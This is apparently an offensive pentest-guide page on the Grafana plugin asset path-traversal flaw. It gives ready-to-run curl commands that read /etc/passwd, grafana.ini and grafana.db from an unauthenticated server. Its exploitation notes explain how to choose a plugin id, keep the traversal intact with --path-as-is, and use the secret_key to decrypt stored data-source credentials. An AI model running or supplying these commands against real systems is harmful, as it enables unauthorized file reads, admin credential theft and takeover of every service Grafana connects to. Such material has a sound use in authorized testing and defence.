Grafana's plugin asset-serving endpoint (/public/plugins/<plugin-id>/) failed to sanitize the requested path, so traversal sequences in the path escaped the plugin directory and read arbitrary files from the Grafana server, with no authentication. An attacker requests a known plugin id followed by ../ sequences to reach any file the Grafana process can read. The high-value targets are grafana.ini (the configuration, including the admin password and, critically, the secret_key used to encrypt stored secrets) and the Grafana database (grafana.db on SQLite deployments), which together let the attacker recover the admin credentials and decrypt the stored data-source credentials. So on a vulnerable version this unauthenticated read leads to full takeover and the keys to everything Grafana connects to.
# traverse out of a known plugin to read server files (unauthenticated)
curl -sk --path-as-is 'https://<target>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd'
# the prizes:
curl -sk --path-as-is 'https://<target>:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini' # admin pw + secret_key
curl -sk --path-as-is 'https://<target>:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db' -o grafana.db # SQLite DB
Exploitation notes#
- Use a plugin id that exists on the target (core plugins like
alertlist,graph,textare present by default); the endpoint requires a real plugin prefix before the traversal. grafana.iniyields the admin password and thesecret_key; the database yields the encrypteddata_sourcesecrets, and with thesecret_keythose decrypt to the plaintext data-source credentials, see Data source SSRF and credentials.- This is unauthenticated on vulnerable versions, so it is the strongest Grafana primitive where applicable; confirm the version (enumeration) is in range.
- Use
--path-as-isso the traversal survives to the server; the read runs as the Grafana process user.